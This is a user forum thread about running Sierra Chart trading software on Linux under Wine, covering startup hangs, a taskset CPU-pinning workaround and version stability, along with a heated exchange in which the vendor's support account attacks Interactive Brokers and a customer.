Lots of strange stuff going on with SC atm, some have issues others do not! Hope you stay stable bud
[2020-06-17 17:32:01]
sunnyd - Posts: 322 | Ending Date: 2020-10-25
What platform you moving to?
[2020-06-22 11:16:36]
ivory - Posts: 20 | Ending Date: 2020-07-20 [Expired]
@Andreas I experienced the same behavior, i.e. Sierra starting, showing an empty Message Log and then freezing. I updated wine to wine staging 5.11 and started sierra directly from the command line with wine64 and that resolved it.

On another note, I am also using Interactive Brokers. Sierra's lamentable PR has been a sore point, but it's been managable. The way they ended support for IB can't be described differently than gross unprofessionalism. I will move my business elsewhere once my subscription expires.
[2020-06-22 11:38:42]
Sierra Chart Engineering - Posts: 88303 | Ending Date: 2021-04-05
The way they ended support for IB can't be described differently than gross unprofessionalism. I will move my business elsewhere once my subscription expires.
That is the smartest decision we made. And thank you for moving your business elsewhere if you are using Interactive Brokers. Interactive Brokers is trash.

gross unprofessionalism
You are describing Interactive Brokers not us. Our standards are so high and so good, that for us to be putting up with crap like Interactive Brokers is not acceptable. We are not perfect, and we have more to do to improve the quality of Sierra Chart and we are continuing to do so. It makes utterly no sense whatsoever for to be wasting our valuable time on Interactive Brokers nonsense. This is only the smart thing for us to do to, is to cut off support for Interactive Brokers.

If you are in our position, you would most likely would see it the same way. We are overjoyed, at comments like yours. You are more than welcome to leave.

Interactive brokers is Mickey Mouse. There is nothing professional about them when it comes to their interfaces for external programs. It is nothing more than complete garbage. Utter complete garbage. And really we are being just too polite here. Just too polite. You think we give a damn about public relations when were dealing with crap like Interactive Brokers and the garbage we put up with you customers regarding that. You have got to be kidding us.
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. If possible please keep your questions brief and to the point. Please be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

If your question/request has been answered and you do not have anything further, then it is easiest for us if you do not reply again to say thank you.
Date Time Of Last Edit: 2020-06-23 09:49:43
[2020-06-22 11:43:00]
ivory - Posts: 20 | Ending Date: 2020-07-20 [Expired]
The first thing you need to improve is your language and your attitude. Being a developer myself, I understand the pain of working with a legacy, ill-engineered code base. Decided to drop a low quality external dependency? Great, good for you. Telling your users that they are unintelligent and are welcome to leave, that's being an ass. Time to grow up?
[2020-06-22 11:44:03]
Sierra Chart Engineering - Posts: 88303 | Ending Date: 2021-04-05
Sorry we do not agree. We are going to have no mercy here when it comes to Interactive Brokers.
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. If possible please keep your questions brief and to the point. Please be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

If your question/request has been answered and you do not have anything further, then it is easiest for us if you do not reply again to say thank you.
Date Time Of Last Edit: 2020-06-22 11:44:12
[2020-06-22 11:44:42]
ivory - Posts: 20 | Ending Date: 2020-07-20 [Expired]
No mercy for IB? Fine. No manners towards your users? Not fine. Don't bite the hand that feeds you.
[2020-06-22 11:47:31]
Sierra Chart Engineering - Posts: 88303 | Ending Date: 2021-04-05
Since they have no manners or respect towards us.
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. If possible please keep your questions brief and to the point. Please be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

If your question/request has been answered and you do not have anything further, then it is easiest for us if you do not reply again to say thank you.
[2020-06-22 11:48:44]
ivory - Posts: 20 | Ending Date: 2020-07-20 [Expired]
This is going to be my last reply on this subject. As far I can tell, users including me in this thread, are displaying a difference of opinion in a cultural manner. You are not. Guess you are not inclined to listen. That is on you.
[2020-06-23 06:36:16]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
ivory

Interactive brokers is Mickey Mouse. There is nothing professional about them when it comes to their interfaces for external programs. It is nothing more than complete garbage. Utter complete garbage garbage garbage garbage garbage.

It is so funny to complete the list:

Is x86 the perfect hw - no, it's garbage
Is WinOS the perfect sw - no, it's garbage
Is C++ with STL the perfect solution - no, it's not

So it is good to know that SC is the brilliant :)
[2020-06-23 07:03:48]
Andreas - Posts: 512 | Ending Date: 2020-10-18
So it is good to know that SC is the brilliant :)

@ganz, agreed.. though how could you've missed this gem by them:

Since they have no manners or respect towards us.

[2020-06-23 09:47:28]
Sierra Chart Engineering - Posts: 88303 | Ending Date: 2021-04-05

So it is good to know that SC is the brilliant :)
Yes we are doing our best. Not perfect but doing our best.
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. If possible please keep your questions brief and to the point. Please be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

If your question/request has been answered and you do not have anything further, then it is easiest for us if you do not reply again to say thank you.
[2020-06-23 09:48:31]
Sierra Chart Engineering - Posts: 88303 | Ending Date: 2021-04-05
What this thread overwhelmingly proves, is that we need to develop our own operating system, and if we can increase our programming capacity, with very good programmers, we can accomplish that. And we should. And this is a very serious intention.
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. If possible please keep your questions brief and to the point. Please be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

If your question/request has been answered and you do not have anything further, then it is easiest for us if you do not reply again to say thank you.
[2020-06-23 09:58:12]
User106072 - Posts: 98 | Ending Date: 2020-08-31
What this thread overwhelmingly proves, is that we need to develop our own operating system...

This would be a game changer in the industry.
[2020-06-23 10:07:12]
Sierra Chart Engineering - Posts: 88303 | Ending Date: 2021-04-05
There someone posting in this thread, who actually has been one of the greater annoyances leading to our decision about terminating technical support for Interactive Brokers, of course among other reasons and many other users.

They are being disrespectful towards us, and posting false information.

That user is now blocked from posting on this board and the post is deleted.

And our decision regarding Interactive Brokers is largely meaningless because it is still supported and technical integration is maintained and updated as necessary.
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. If possible please keep your questions brief and to the point. Please be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

If your question/request has been answered and you do not have anything further, then it is easiest for us if you do not reply again to say thank you.
Date Time Of Last Edit: 2020-06-23 10:07:42
[2020-06-23 17:25:50]
BeardPower - Posts: 40 | Ending Date: 2019-01-23 [Expired]
What this thread overwhelmingly proves, is that we need to develop our own operating system, and if we can increase our programming capacity, with very good programmers, we can accomplish that. And we should. And this is a very serious intention.

What do you have in mind? Doing everything from scratch (loader, kernel, drivers, etc.) or using an existing kernel and building on that?

Like booting directly into SC and not running anything besides that (similar to a Unikernel)?
Date Time Of Last Edit: 2020-06-23 17:28:49
[2020-06-23 17:34:53]
User75096 - Posts: 46 | Ending Date: 2021-03-08
this thread is called LINUX , wat is this here about ... kindergarden bs , sorry i would like to read about this and not this small talk , thanks
[2020-06-23 19:12:07]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Yes, agree ....I do appreciate the operating system related feedback from SC and good to hear it is still a high priority.

I updated to SC V 2125 over the weekend and still see occasional CPU exceptions when exiting. Also the hang on start (new issue since 2018) occurs about 50% of the time. I force quit and restart SC. Usually works the second time and leave it running all week. Once up and running, no issues so far.

The latest versions are incredibly memory efficient: 2 full instances of SC running and TOTAL SC RAM memory usage including the wineserver is 277 megabytes! CPU utilization is about 13-20 % for each instance of SC.

SC 2125 64 bit
Wine 5.11 development
Kernel 5.3.0-59 generic
OpenGL
i7-950 processor (quite old 5 core 3 gigahertz)
AMD video card (Radeon HD 7730/8730)
Dual Monitors
Date Time Of Last Edit: 2020-06-24 03:42:11
[2020-06-24 01:28:47]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
User75096

wat is this here about ... kindergarden bs , sorry i would like to read about this and not this small talk

hm...m
most of the people here are trying to use
reversed API atop of 40 years old garbage like X Window API
using not well tested /unstable Ubuntu-based or some rolling-style distro garbage
that's oficcially not supported and not recommended by SC Team

so the answer is YES

this is just the kindergarden
and that guys are just mass of ignorant kids
just like you are
[2020-06-24 03:16:16]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Based on my experience clearly outlined here, the Linux/Wine combination (even without an optimal native Linux solution), and now combined with the Denali data feed and SC/TT routing provides a world class leading solution.

So Yes, I'll take proven efficient technology, regardless as to how old any day. When OpenGL released on SC, my GPU usage dropped 35-50 percent and Linux runs for MONTHS without rebooting! My Windows test computer has to be rebooted weekly to stay stable and even though it is years newer, still barely stays even with my much older Linux system.

The comparisons and experiences listed here are with real SC trading systems with my own testing, hardware, software and custom indicators. Not unrelated, incomprehensible links to irrelevant configurations....real trading and frankly lots of work to get information to SC that is usable to help them move forward! They are programmers, not traders and need our honest help to create an edge for SC users.

Yes there are some expected issues with OpenGL and SC is getting to the bottom of it. For SC, OpenGL is a new implementation and I'm well aware of recent issues and have in fact provided additional data points to help.

Yes, SC sometimes has an "attitude" when replying and over the last 15 years and several indicators I've written freely for the community, I have had my share of it. After seeing some of the replys here, I do see why. They are trying to get to root causes of issues and are thinking big on how to solve them for the entire trading community. Not many companies have that vision and then execute!

I ask anyone replying here to rise above the small thinking. Think big, provide insight with proven examples and help people when needed. The trading community is full of dishonest people making garbage systems. SC stands out against these systems trying to make a better product and community! We must be better than this on all sides.

You all stand better because of thousands of hours of help from people like Kiwi, tomgilb, Acken, Bressert, hundreds more and of course SC tech support. Now do something POSITIVE like they have and stay away from the negative narrative!
Date Time Of Last Edit: 2020-06-24 03:45:49
[2020-06-24 03:52:57]
User106072 - Posts: 98 | Ending Date: 2020-08-31
You all stand better because of thousands of hours of help from people like Kiwi, tomgilb, Acken, Bressert, hundreds more and of course SC tech support. Now do something POSITIVE like they have and stay away from the negative narrative!

Amen
Date Time Of Last Edit: 2020-06-24 03:53:34
[2020-06-24 04:08:17]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
ertrader
Based on my experience clearly outlined here

sure. it is possible to get working some messed setup by an accident

but a setup in terms of hw and sw combination should be stable and predictable by design

that's must be the goal and the reason to use it or don't

so all that battle-cries are ignorant by default

The trading community is full of dishonest people making garbage systems. SC stands out against these systems trying to make a better product and community!
agreed
[2020-06-24 12:11:13]
User212764 - Posts: 286 | Ending Date: 2020-08-31
The trading community is full of dishonest people making garbage systems. SC stands out against these systems trying to make a better product and community!

And those who offer free indicators to the community, but won't share the underlying programming as open source code so others can learn and giveback as well.
[2020-06-24 13:21:56]
BeardPower - Posts: 40 | Ending Date: 2019-01-23 [Expired]
And those who offer free indicators to the community, but won't share the underlying programming as open source code so others can learn and giveback as well.

Why should they? They already offered their tools for free (as in free beer) so don't you think it's a little too demanding to ask for the source code as well?
Does SC offer the source code of SC? No, they don't. Does that mean that others cannot learn from it and give back feedback? No, it doesn't.
Date Time Of Last Edit: 2020-06-24 13:24:41
[2020-06-24 13:27:03]
User106072 - Posts: 98 | Ending Date: 2020-08-31
Why should they?

In open source field the thing is you share. But it doesn't work if you're the only one who is sharing.
[2020-06-24 13:37:55]
Ackin - Posts: 1067 | Ending Date: 2020-09-04
BeardPower)
it's the kick for me ... User212764 suffers from some need to constantly spam this forum with attacks on me. Because he is unable to build his own ACSIL program from a large number of materials in the documentation and needs the source code for copypaste programming ... He does not understand at all that I lost thousands of hours at the computer and just that it's free = is too .... 600 registered people on my forum can confirm that I didn't want a single dollar for the free1 library for anyone there for the 200 studies that Sierra refused to create. What is constantly writes about source codes here by that user is already taken in my country as an attempt at blackmail and bullying in the network.

I have no obligation to provide the source code of my work to anyone. And as you write correctly, Sierra doesn't do it either. If someone does not trust the product, they do not have to download it. He is not forced to do so. I don't understand this constant crying and constant confusion between "open source" and "free app" (free of charge without open source code). I only provide .dll file ...compiled library....without source code and everyone knows it in advance.

Read this thread and make your own opinion:
https://www.sierrachart.com/SupportBoard.php?ThreadID=52801




User106072)
That is a great truth... Open source matters if everyone develops the code and returns the results. Sierra provides source code for its studies. Then come third-party programmers who don't get much out of these studies in practice ... documentation is used rather than source files in ACS. And here's the turning point. For example, if I return the finished source code, who will further develop it here? I shared my codes here in the beginning and do you know what the response was? None ..... just download and goodbye


I apologize to the author of the thread for offtopic
Date Time Of Last Edit: 2020-06-24 16:47:08
[2020-06-24 13:38:12]
BeardPower - Posts: 40 | Ending Date: 2019-01-23 [Expired]
In open source field the thing is you share. But it doesn't work if you're the only one who is sharing.

It's not. Open Source does not mean free as in free beer! Unfortunately, the majority of people think it does.
SC is not an Open Source project either.

It's your personal decision to share your code but that does not conclude that others have to do the same. I understand your reasoning behind it and yes, if someone is using Open Source software, he/she should give back. Unfortunately, it's not always the case and a lot of people are leeching from other's people work.

Despite SC not being Open Source, it would be nice if they could provide SC as an SDK (core functionality without the UI stuff). This would allow other people to come up with their own UI implementations and using the core of SC. SC is already separating the logic from the UI and phasing out all of the OS-dependent code so a native Linux (and other OS as well) version would be feasible.
Date Time Of Last Edit: 2020-06-24 13:40:31
[2020-06-24 15:05:36]
User106072 - Posts: 98 | Ending Date: 2020-08-31
It's not. Open Source does not mean free as in free beer! Unfortunately, the majority of people think it does.

Well my point was there is people who give their indicators for free but DOES NOT open source the product. I see it a bit mistake.

EDIT:
Should the SC be an open source project and how is an another question
Date Time Of Last Edit: 2020-06-24 15:19:09
[2020-06-24 15:37:17]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
it would be nice if they could provide SC as an SDK
... and set a License type (BSD-like, GPL-like or other type) in order to set the way it will be shared and will be used by the community
[2020-06-24 16:23:12]
User212764 - Posts: 286 | Ending Date: 2020-08-31
Well my point was there is people who give their indicators for free but DOES NOT open source the product. I see it a bit mistake.

Exactly.

Running a non-SC compiled .dll of unknown provenance isn't exactly best practices either, unless you trust the developer.

However, if you are someone who likes to "Trust, but Verify" (as a certain American politician once said), you'd probably want to compile the .dll yourself, if only for safety's sake.
[2020-06-28 11:37:18]
sunnyd - Posts: 322 | Ending Date: 2020-10-25
2128 seems to have made SC stable in Linux again - Praise the Lord (and F*ck Microshite)
[2020-06-28 16:31:28]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Yes, I'm seeing the same with V 2128. I'm no longer getting a CPU exception when exiting.
[2020-07-03 15:51:58]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Some good news regarding the "hang on start" issue. According to WineHQ Bugzilla documenting the issue, it's a known bug. Please review WineHQ bugzilla for more details (bug 35041) and the impact on various software programs. They do mention X.org as a possible issue and it's interesting that this is a CPU identification startup workaround for multitasking across cores.

The current workaround, until permanently fixed in either X.org, Wine or elsewhere, is to start SC with the following:

taskset -c 0 wine /home/your_username/.wine/drive_c/Sierrachart/Sierrachart_64.exe

The -c 0 above runs SC on 1 CPU. You can also use taskset -c 0,1,2,3 as an example to run on multiple cores.

taskset -c 0,1,2,3 wine /home/your_username/.wine/drive_c/Sierrachart/Sierrachart_64.exe

Spreads SC across the first 4 Cores.

This works for my configuration 100% of the time.
Some info on taskset:
https://linux.die.net/man/1/taskset

Summary:
1) CPU exceptions of Exit - Fixed with latest SC 2128 and above
2) Hang on start - workaround with the taskset method above

SC on Linux/Wine is now working better with fewer Linux/Wine issues.

Configuration:
SierraChart Version 2130 64 bit
wine 5.0 (Ubuntu 5.0.3ubuntul) Installed from software manager
Mint Linux 20
Kernel 5.4.0-40 generic
OpenGL
AMD Ryzen 7 3800X
AMD video card (Radeon HD 7730/8730)
Dual Monitors
Date Time Of Last Edit: 2020-07-04 14:05:57
[2020-07-03 17:05:52]
divvi - Posts: 45 | Ending Date: 2020-09-10
Thank you. Do you recommend the 64 bit executable over the 32 bit?
[2020-07-03 17:09:50]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Yes, without question.
[2020-07-05 19:58:02]
divvi - Posts: 45 | Ending Date: 2020-09-10
The only real issue I have had with Sierra on Linux is that moving all the charts and chartbooks to a new version can be quite a chore. Manual copying of files (https://www.sierrachart.com/index.php?page=doc/helpdetails15.html) did not work too well. Things get messed up and items such as customized buttons for volume profile do not copy at all. The only reliable method seems to be to set up everything from scratch. Do you have any suggestions?
[2020-07-05 20:04:48]
ivory - Posts: 20 | Ending Date: 2020-07-20 [Expired]
@divvi save all your studies as a study collection. You can then reload them on any chart from the "analysis" toolbar.
[2020-07-19 03:59:42]
Kiwi - Posts: 285 | Ending Date: 2019-10-03 [Expired]
Thanks ertrader,

Using taskset -c 0,1,2,3 wine /home/your_username/.wine/drive_c/Sierrachart/Sierrachart_64.exe

So far it looks good. Will update if I have any issues.

Configuration:
SierraChart Version 2138 64 bit
wine 5.5 (Ubuntu 5.5-3ubuntul)
Mint Linux 20
Kernel 5.4.0-40 generic
AMD Ryzen 5 3600
NVIDIA Corporation GP108 [GeForce GT 1030]
Dual Monitors
[2020-07-20 12:29:39]
Kiwi - Posts: 285 | Ending Date: 2019-10-03 [Expired]
I was still getting a little instability so I dropped back to one core per sierrachart instance. So

taskset -c 3 wine /home/your_username/.wine/drive_c/Sierrachart/Sierrachart_64.exe

for my primary.
[2020-07-20 17:23:56]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Thanks for the update and glad it helped!

To post a message in this thread, you need to login with your Sierra Chart account:

Login

Login Page - Create Account